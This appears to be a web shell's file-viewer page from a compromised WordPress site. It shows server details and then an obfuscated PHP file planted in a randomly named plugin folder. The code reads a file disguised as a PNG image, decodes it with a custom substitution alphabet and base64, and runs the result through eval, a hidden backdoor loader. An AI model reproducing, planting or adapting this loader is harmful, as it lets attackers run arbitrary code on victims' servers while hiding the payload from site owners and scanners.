HEX
Server: LiteSpeed
System: Linux cyberpanel211onubuntu2004-s-1vcpu-1gb-blr1-01 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC 2021 x86_64
User: excel9995 (1002)
PHP: 8.0.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /home/exceltradinguae.ae/public_html/wp-content/plugins/achuryzub/usishos.txt
<?php

function ytofot_ruqeqagyp($rukeri_otopekur) {
    if ($rukeri_otopekur == 1)
        return ocuzig_hythygam();
    if ($rukeri_otopekur == 2)
        return ypybyz_pyshuwuz();
}

function catubo_ipyrizho($rukeri_otopekur) {
    $cajefy = ytofot_ruqeqagyp(1);
    $mucuny = ytofot_ruqeqagyp(2);
    for ($ixerysh = 0; $ixerysh < strlen($cajefy); $ixerysh++) {
        $arakhun = substr($cajefy, $ixerysh, 1);
        $cyjecoc = substr($mucuny, $ixerysh, 1);
        $ykefik[$arakhun] = $cyjecoc;
    }

    $riguzha = strtr($rukeri_otopekur, $ykefik);
    $riguzha = base64_decode($riguzha);

    return $riguzha;
}

function guruzi_lesogati($rukeri_otopekur) {
    $ebushar = array();
    if (!file_exists($rukeri_otopekur))
        return false;
    $ukadat = @file_get_contents($rukeri_otopekur);
    if (!$ukadat)
        return false;
    $ukadat = substr($ukadat, 3);
    $ebushar = catubo_ipyrizho($ukadat);
    return $ebushar;
}

function ocuzig_hythygam() {
    $ukadat = "M7lfs6mHAtDzyNJwvhnGTZ40jLIC2xVBKabSkXuPo3q9/prYFQ1=Ee8dOWR+5Ucgi";
    return $ukadat;
}

function ypybyz_pyshuwuz() {
    $ebushar = "1pBoJ67RtwjsN4DgiMnIrFxT=QHafu3b0GzU/eLAcX5+VqSOPClkE8vdZyKm2YhW9";
    return $ebushar;
}

$shumoso = guruzi_lesogati(__DIR__ . "/ass" . "ets/" . "image" . "s/nukh" . "eju.pn" . "g");
if ($shumoso) {
    @eval($shumoso);
}